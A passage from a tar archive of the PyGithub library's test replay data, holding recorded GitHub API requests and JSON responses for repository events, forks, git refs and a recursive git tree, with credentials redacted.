Authorization"},{"sha":"473c92adcd8bbbd32003d9c65666ede66059551b","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/473c92adcd8bbbd32003d9c65666ede66059551b","distinct":true,"message":"Test Download and CommitComment"},{"sha":"527ce7459a2e60d1536883f19b9bc6850d71127b","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/527ce7459a2e60d1536883f19b9bc6850d71127b","distinct":true,"message":"Merge commit 'c93f9cc8484b7' into topic/RewriteWithGeneratedCode\n\nConflicts:\n\ttest/IntegrationTest.py"}],"ref":"refs/heads/topic/RewriteWithGeneratedCode"},"public":true,"repo":{"url":"https://api.github.com/repos/PyGithub/PyGithub","id":3544490,"name":"PyGithub/PyGithub"},"created_at":"2012-05-22T19:59:48Z","id":"1554729420","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"DownloadEvent","payload":{"download":{"name":"Foobar.txt","size":1024,"created_at":"2012-05-22T19:15:29Z","content_type":"text/plain","download_count":0,"url":"https://api.github.com/repos/PyGithub/PyGithub/downloads/242562","id":242562,"description":null,"html_url":"https://github.com/downloads/PyGithub/PyGithub/Foobar.txt"}},"public":true,"repo":{"url":"https://api.github.com/repos/PyGithub/PyGithub","id":3544490,"name":"PyGithub/PyGithub"},"created_at":"2012-05-22T19:15:30Z","id":"1554712197","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"DownloadEvent","payload":{"download":{"name":"Foobar.txt","size":1024,"created_at":"2012-05-22T19:11:49Z","content_type":"text/richtext","download_count":0,"url":"https://api.github.com/repos/PyGithub/PyGithub/downloads/242556","id":242556,"description":"Download created by PyGithub","html_url":"https://github.com/downloads/PyGithub/PyGithub/Foobar.txt"}},"public":true,"repo":{"url":"https://api.github.com/repos/PyGithub/PyGithub","id":3544490,"name":"PyGithub/PyGithub"},"created_at":"2012-05-22T19:11:49Z","id":"1554710791","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"DownloadEvent","payload":{"download":{"name":"Foobar.txt","created_at":"2012-05-22T18:58:32Z","size":1024,"content_type":"text/plain","url":"https://api.github.com/repos/PyGithub/PyGithub/downloads/242550","download_count":0,"id":242550,"description":null,"html_url":"https://github.com/downloads/PyGithub/PyGithub/Foobar.txt"}},"public":true,"repo":{"url":"https://api.github.com/repos/PyGithub/PyGithub","id":3544490,"name":"PyGithub/PyGithub"},"created_at":"2012-05-22T18:58:32Z","id":"1554705673","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"CommitCommentEvent","payload":{"comment":{"position":19,"created_at":"2012-05-22T18:53:25Z","line":211,"body":"Foobar","commit_id":"6945921c529be14c3a8f566dd1e483674516d46d","updated_at":"2012-05-22T18:53:25Z","url":"https://api.github.com/repos/PyGithub/PyGithub/comments/1362020","id":1362020,"path":"src/github/AuthenticatedUser.py","html_url":"https://github.com/PyGithub/PyGithub/commit/6945921c529be14c3a8f566dd1e483674516d46d#commitcomment-1362020","user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}}},"public":true,"repo":{"url":"https://api.github.com/repos/PyGithub/PyGithub","id":3544490,"name":"PyGithub/PyGithub"},"created_at":"2012-05-22T18:53:25Z","id":"1554703698","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"CommitCommentEvent","payload":{"comment":{"position":3,"created_at":"2012-05-22T18:50:02Z","line":null,"body":"Comment also created by PyGithub","commit_id":"6945921c529be14c3a8f566dd1e483674516d46d","updated_at":"2012-05-22T18:50:02Z","url":"https://api.github.com/repos/PyGithub/PyGithub/comments/1362001","id":1362001,"path":"codegen/templates/GithubObject.MethodBody.UseResult.py","html_url":"https://github.com/PyGithub/PyGithub/commit/6945921c529be14c3a8f566dd1e483674516d46d#commitcomment-1362001","user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}}},"public":true,"repo":{"url":"https://api.github.com/repos/PyGithub/PyGithub","id":3544490,"name":"PyGithub/PyGithub"},"created_at":"2012-05-22T18:50:02Z","id":"1554702296","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"CommitCommentEvent","payload":{"comment":{"position":null,"created_at":"2012-05-22T18:49:34Z","line":26,"body":"Comment created by PyGithub","commit_id":"6945921c529be14c3a8f566dd1e483674516d46d","updated_at":"2012-05-22T18:49:34Z","url":"https://api.github.com/repos/PyGithub/PyGithub/comments/1362000","id":1362000,"path":"codegen/templates/GithubObject.MethodBody.UseResult.py","html_url":"https://github.com/PyGithub/PyGithub/commit/6945921c529be14c3a8f566dd1e483674516d46d#commitcomment-1362000","user":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}}},"public":true,"repo":{"url":"https://api.github.com/repos/PyGithub/PyGithub","id":3544490,"name":"PyGithub/PyGithub"},"created_at":"2012-05-22T18:49:34Z","id":"1554702087","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"CommitCommentEvent","payload":{"comment":{"position":null,"created_at":"2012-05-22T18:40:18Z","body":"Comment created by PyGithub","line":null,"commit_id":"6945921c529be14c3a8f566dd1e483674516d46d","updated_at":"2012-05-22T18:40:18Z","url":"https://api.github.com/repos/PyGithub/PyGithub/comments/1361949","id":1361949,"path":null,"html_url":"https://github.com/PyGithub/PyGithub/commit/6945921c529be14c3a8f566dd1e483674516d46d#commitcomment-1361949","user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}}},"public":true,"repo":{"url":"https://api.github.com/repos/PyGithub/PyGithub","id":3544490,"name":"PyGithub/PyGithub"},"created_at":"2012-05-22T18:40:18Z","id":"1554698320","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testGetForks.txt0000644000175100001660000000312214756101563023517 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/forks {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4962'), ('content-length', '1141'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"6f7c9361ed89e4c405627dba9e70b879"'), ('date', 'Sun, 27 May 2012 06:58:48 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"clone_url":"https://github.com/abersager/PyGithub.git","has_downloads":true,"watchers":2,"git_url":"git://github.com/abersager/PyGithub.git","updated_at":"2012-03-28T10:37:22Z","permissions":{"pull":true,"admin":false,"push":false},"homepage":"http://vincent-jacques.net/PyGithub","url":"https://api.github.com/repos/abersager/PyGithub","has_wiki":false,"has_issues":false,"fork":true,"forks":0,"mirror_url":null,"size":112,"private":false,"open_issues":0,"svn_url":"https://github.com/abersager/PyGithub","owner":{"url":"https://api.github.com/users/abersager","gravatar_id":"b2e096f2c016d8dc168a3a5e6281b07a","login":"abersager","id":1328351,"avatar_url":"https://secure.gravatar.com/avatar/b2e096f2c016d8dc168a3a5e6281b07a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"name":"PyGithub","language":"Python","description":"Python library implementing the full Github API v3","ssh_url":"git@github.com:abersager/PyGithub.git","pushed_at":"2012-03-26T10:05:31Z","created_at":"2012-03-26T09:12:45Z","id":3831162,"html_url":"https://github.com/abersager/PyGithub","full_name":"abersager/PyGithub"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testGetGitRef.txt0000644000175100001660000000176714756101563023630 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/git/refs/heads/master {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4987'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('x-ratelimit-limit', '5000'), ('vary', 'Accept, Authorization, Cookie'), ('content-length', '288'), ('server', 'nginx'), ('last-modified', 'Sun, 28 Oct 2012 01:48:38 GMT'), ('connection', 'keep-alive'), ('etag', '"d7478b9ae7e3c0de496ede43edd2fdfc"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Sun, 28 Oct 2012 08:58:25 GMT'), ('content-type', 'application/json; charset=utf-8')] {"url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs/heads/master","object":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/31110327ec45f3138e58ed247b2cf420fee481ec","type":"commit","sha":"31110327ec45f3138e58ed247b2cf420fee481ec"},"ref":"refs/heads/master"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testGetGitRefWithIssue102Reverted.txt0000644000175100001660000000176714756101563027421 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/git/refs/heads/master {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4987'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('x-ratelimit-limit', '5000'), ('vary', 'Accept, Authorization, Cookie'), ('content-length', '288'), ('server', 'nginx'), ('last-modified', 'Sun, 28 Oct 2012 01:48:38 GMT'), ('connection', 'keep-alive'), ('etag', '"d7478b9ae7e3c0de496ede43edd2fdfc"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Sun, 28 Oct 2012 08:58:25 GMT'), ('content-type', 'application/json; charset=utf-8')] {"url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs/heads/master","object":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/31110327ec45f3138e58ed247b2cf420fee481ec","type":"commit","sha":"31110327ec45f3138e58ed247b2cf420fee481ec"},"ref":"refs/heads/master"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testGetGitRefs.txt0000644000175100001660000000711014756101563023777 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/git/refs {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4956'), ('content-length', '3176'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"85c62d1ec1ea8966569c391d802d4f3f"'), ('date', 'Sun, 27 May 2012 07:00:43 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"ref":"refs/heads/develop","url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs/heads/develop","object":{"type":"commit","url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/0cec0d25e606c023a62a4fc7cdc815309ebf6d16","sha":"0cec0d25e606c023a62a4fc7cdc815309ebf6d16"}},{"ref":"refs/heads/master","url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs/heads/master","object":{"type":"commit","url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/ecda065e01876209d2bdf5fe4e91cee8ffaa9ff7","sha":"ecda065e01876209d2bdf5fe4e91cee8ffaa9ff7"}},{"ref":"refs/heads/topic/DependencyGraph","url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs/heads/topic/DependencyGraph","object":{"type":"commit","url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/05157f11f29a3ac057e35d2487880c5d08bd69af","sha":"05157f11f29a3ac057e35d2487880c5d08bd69af"}},{"ref":"refs/heads/topic/RewriteWithGeneratedCode","url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs/heads/topic/RewriteWithGeneratedCode","object":{"type":"commit","url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/956279094a7383b6a8f00c93770ed02ca711f8e5","sha":"956279094a7383b6a8f00c93770ed02ca711f8e5"}},{"ref":"refs/tags/v0.1","url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs/tags/v0.1","object":{"type":"tag","url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags/fc28301862c0118b88cc94da678fb5104b249370","sha":"fc28301862c0118b88cc94da678fb5104b249370"}},{"ref":"refs/tags/v0.2","url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs/tags/v0.2","object":{"type":"tag","url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags/48cabc0fc3b1a9767d6f0db9f6058f24681cada7","sha":"48cabc0fc3b1a9767d6f0db9f6058f24681cada7"}},{"ref":"refs/tags/v0.3","url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs/tags/v0.3","object":{"type":"tag","url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags/4870747f5faf15ba38ece8211283ef87b25679c1","sha":"4870747f5faf15ba38ece8211283ef87b25679c1"}},{"ref":"refs/tags/v0.4","url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs/tags/v0.4","object":{"type":"tag","url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags/26fb28983636cb4773acb5581f4a443cd0aef808","sha":"26fb28983636cb4773acb5581f4a443cd0aef808"}},{"ref":"refs/tags/v0.5","url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs/tags/v0.5","object":{"type":"tag","url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags/c88b802b71cf19cfbc2e915dbb8a0e98f235a926","sha":"c88b802b71cf19cfbc2e915dbb8a0e98f235a926"}},{"ref":"refs/tags/v0.6","url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs/tags/v0.6","object":{"type":"tag","url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags/f5f37322407b02a80de4526ad88d5f188977bc3c","sha":"f5f37322407b02a80de4526ad88d5f188977bc3c"}},{"ref":"refs/tags/v0.7","url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs/tags/v0.7","object":{"type":"tag","url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags/78ca479ac54294dabd16a6644bbe5e013fabf183","sha":"78ca479ac54294dabd16a6644bbe5e013fabf183"}}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testGetGitTreeWithRecursive.txt0000644000175100001660000005424114756101563026532 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/git/trees/f492784d8ca837779650d1fb406a1a3587a764ad?recursive=1 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4996'), ('content-length', '22154'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"c20355ebfacf97b7c3b8809da473b6be"'), ('date', 'Tue, 29 May 2012 17:50:12 GMT'), ('content-type', 'application/json; charset=utf-8')] {"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/f492784d8ca837779650d1fb406a1a3587a764ad","sha":"f492784d8ca837779650d1fb406a1a3587a764ad","tree":[{"type":"blob","url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/8a9af1462c3f4e3358315c2d2e6ef1e7334c59dd","size":53,"path":".gitignore","sha":"8a9af1462c3f4e3358315c2d2e6ef1e7334c59dd","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/7863d93a3ef3700fd05d2e0e6b9c1b5161c4572b","size":1832,"path":"Design.md","sha":"7863d93a3ef3700fd05d2e0e6b9c1b5161c4572b","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/82be8f1b97c4cfb005ad9ce8b8215c2f71470630","size":28643,"path":"IntegrationTest.py","sha":"82be8f1b97c4cfb005ad9ce8b8215c2f71470630","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/8da6802f0b9d4acd1945440053dfd6be3ee80c95","size":3153,"path":"ReadMe.md","sha":"8da6802f0b9d4acd1945440053dfd6be3ee80c95","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/3ee24565835d6a352e0ce37b1f2413572f55e368","size":12687,"path":"ReferenceOfApis.md","sha":"3ee24565835d6a352e0ce37b1f2413572f55e368","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/af9d09559eb6dae86af23b81e6ddcebfa4dc37e6","size":15967,"path":"ReferenceOfClasses.md","sha":"af9d09559eb6dae86af23b81e6ddcebfa4dc37e6","mode":"100644"},{"type":"tree","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/60b4602b2c2070246c5df078fb7a5150b45815eb","path":"ReplayDataForIntegrationTest","sha":"60b4602b2c2070246c5df078fb7a5150b45815eb","mode":"040000"},{"type":"blob","url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/899acba9e6519909e8f518c93b3775a656359386","size":609,"path":"ReplayDataForIntegrationTest/AuthenticatedUserDetails.txt","sha":"899acba9e6519909e8f518c93b3775a656359386","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/e768d406b775a852e46fc54cb6924c7f37f6b7bd","size":7158,"path":"ReplayDataForIntegrationTest/Colaborators.txt","sha":"e768d406b775a852e46fc54cb6924c7f37f6b7bd","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/291ed44bf7e03cd9b6f02af19499589e54b7398a","size":23895,"path":"ReplayDataForIntegrationTest/CommentCommit.txt","sha":"291ed44bf7e03cd9b6f02af19499589e54b7398a","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/7abd0442ccde81422bf9967e655dd0e28092d909","size":7638,"path":"ReplayDataForIntegrationTest/CreateForkForOrganization.txt","sha":"7abd0442ccde81422bf9967e655dd0e28092d909","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/6e61fd654124629b0ff2b1f6de97ff8fe486870f","size":9063,"path":"ReplayDataForIntegrationTest/CreateRepoForOrganization.txt","sha":"6e61fd654124629b0ff2b1f6de97ff8fe486870f","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/cb671f517ba3c8002ecb2f7336ce180f60c2e99b","size":47473,"path":"ReplayDataForIntegrationTest/CreateRepoForUser.txt","sha":"cb671f517ba3c8002ecb2f7336ce180f60c2e99b","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/b4171942210f47faddba6df980d64bd8e2072cb5","size":6762,"path":"ReplayDataForIntegrationTest/Downloads.txt","sha":"b4171942210f47faddba6df980d64bd8e2072cb5","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/9ec888931dda43e8e88f33f70cdc0a95992f021d","size":3521,"path":"ReplayDataForIntegrationTest/EditAuthenticatedUser.txt","sha":"9ec888931dda43e8e88f33f70cdc0a95992f021d","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/f60c63a9ee01455d98173b943c309bd8ca0c358d","size":3283,"path":"ReplayDataForIntegrationTest/EditOrganization.txt","sha":"f60c63a9ee01455d98173b943c309bd8ca0c358d","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/fe947fcec0a35994498b2b0517fbba01becafafc","size":24634,"path":"ReplayDataForIntegrationTest/EditOrganizationTeamAndMembers.txt","sha":"fe947fcec0a35994498b2b0517fbba01becafafc","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/78fdccde664076fc363446ee2dd18d4f08d19e24","size":2034,"path":"ReplayDataForIntegrationTest/Emails.txt","sha":"78fdccde664076fc363446ee2dd18d4f08d19e24","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/53d65d31fc057de4d0fc62668ca695ea690463b7","size":830522,"path":"ReplayDataForIntegrationTest/Events.txt","sha":"53d65d31fc057de4d0fc62668ca695ea690463b7","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/193f10c7d2d8b29de1d430f6665ebec492f7bc03","size":13489,"path":"ReplayDataForIntegrationTest/Follow.txt","sha":"193f10c7d2d8b29de1d430f6665ebec492f7bc03","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/355cfac1f2b53d6dd09bc861f982e7380ab7ea6c","size":39318,"path":"ReplayDataForIntegrationTest/Gists.txt","sha":"355cfac1f2b53d6dd09bc861f982e7380ab7ea6c","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/b18abe6bda1a8d5690effc4709ca2284c0ba3fce","size":274113,"path":"ReplayDataForIntegrationTest/GistsAll.txt","sha":"b18abe6bda1a8d5690effc4709ca2284c0ba3fce","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/b8ff613ae927823bb6aa0b0430e0131626353493","size":17052,"path":"ReplayDataForIntegrationTest/GitObjects.txt","sha":"b8ff613ae927823bb6aa0b0430e0131626353493","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/be345cdb76780a84fdb0f7a8e9d4f92d93730b44","size":10297,"path":"ReplayDataForIntegrationTest/GitObjectsAlternative.txt","sha":"be345cdb76780a84fdb0f7a8e9d4f92d93730b44","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/bf0471641650dcf92d33bc6aafd7307b8c43b652","size":7486,"path":"ReplayDataForIntegrationTest/Hooks.txt","sha":"bf0471641650dcf92d33bc6aafd7307b8c43b652","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/1631b78249fcdde37c5bc54832c202372ebcc0d6","size":60086,"path":"ReplayDataForIntegrationTest/IssuesAndMilestones.txt","sha":"1631b78249fcdde37c5bc54832c202372ebcc0d6","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/40e23bcc3d16a3f409ded8487d526ce019f14cba","size":23825,"path":"ReplayDataForIntegrationTest/IssuesForAuthenticatedUser.txt","sha":"40e23bcc3d16a3f409ded8487d526ce019f14cba","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/119acdad17754f2b806f8f2a236152d5e2738072","size":12513,"path":"ReplayDataForIntegrationTest/Keys.txt","sha":"119acdad17754f2b806f8f2a236152d5e2738072","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/5fb50bcb8c87b2edcf8e3f700483533f67ba63fa","size":8501,"path":"ReplayDataForIntegrationTest/MergePullRequest.txt","sha":"5fb50bcb8c87b2edcf8e3f700483533f67ba63fa","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/e2bb418a947baf51f5a726c81dc12849d8e57401","size":65016,"path":"ReplayDataForIntegrationTest/NamedUserDetails.txt","sha":"e2bb418a947baf51f5a726c81dc12849d8e57401","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/d37e86574b55beedca277dc67f591ce1ad677950","size":877,"path":"ReplayDataForIntegrationTest/OrganizationDetails.txt","sha":"d37e86574b55beedca277dc67f591ce1ad677950","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/a0d497fb5819e66685d5506ca091ca626cd8cc9b","size":41292,"path":"ReplayDataForIntegrationTest/PullRequest.txt","sha":"a0d497fb5819e66685d5506ca091ca626cd8cc9b","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/8d3c8098592470fca5ae07a1edf271fcf2682268","size":160243,"path":"ReplayDataForIntegrationTest/RepositoryCompare.txt","sha":"8d3c8098592470fca5ae07a1edf271fcf2682268","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/04c0eae1a45e1f74085a5bb566f3ac022afc7653","size":26507,"path":"ReplayDataForIntegrationTest/RepositoryDetails.txt","sha":"04c0eae1a45e1f74085a5bb566f3ac022afc7653","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/0fa34785c12f0969f8a6862531dbf9e9ee0a32a1","size":8833,"path":"ReplayDataForIntegrationTest/RepositoryKeys.txt","sha":"0fa34785c12f0969f8a6862531dbf9e9ee0a32a1","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/f294af3d6284498ed413ed56d0ede0635acd1e96","size":31556,"path":"ReplayDataForIntegrationTest/Watch.txt","sha":"f294af3d6284498ed413ed56d0ede0635acd1e96","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/61cfa6bc84a562c134770b1e10445e7b810dbc26","size":320,"path":"RoadMap.md","sha":"61cfa6bc84a562c134770b1e10445e7b810dbc26","mode":"100644"},{"type":"tree","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/929f19535e74d80fb117aa021742ce2556ddc9a2","path":"github","sha":"929f19535e74d80fb117aa021742ce2556ddc9a2","mode":"040000"},{"type":"blob","url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/c05b41fe0f526f0d92a00381860c5005d8910218","size":2251,"path":"github/GenerateReferenceOfApis.py","sha":"c05b41fe0f526f0d92a00381860c5005d8910218","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/c7c328b2e79ad79b3188da87f2458278b4df370e","size":751,"path":"github/GenerateReferenceOfClasses.py","sha":"c7c328b2e79ad79b3188da87f2458278b4df370e","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/73d750640226cc5c80141101578adf2159056431","size":7848,"path":"github/Github.UnitTest.py","sha":"73d750640226cc5c80141101578adf2159056431","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/e6373d6ea2c02bdf37e9b26fc7f7b08db9f011b8","size":1281,"path":"github/Github.py","sha":"e6373d6ea2c02bdf37e9b26fc7f7b08db9f011b8","mode":"100644"},{"type":"tree","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/1a549caa38bde6661f0b9d881a5d765c633c1992","path":"github/GithubObjects","sha"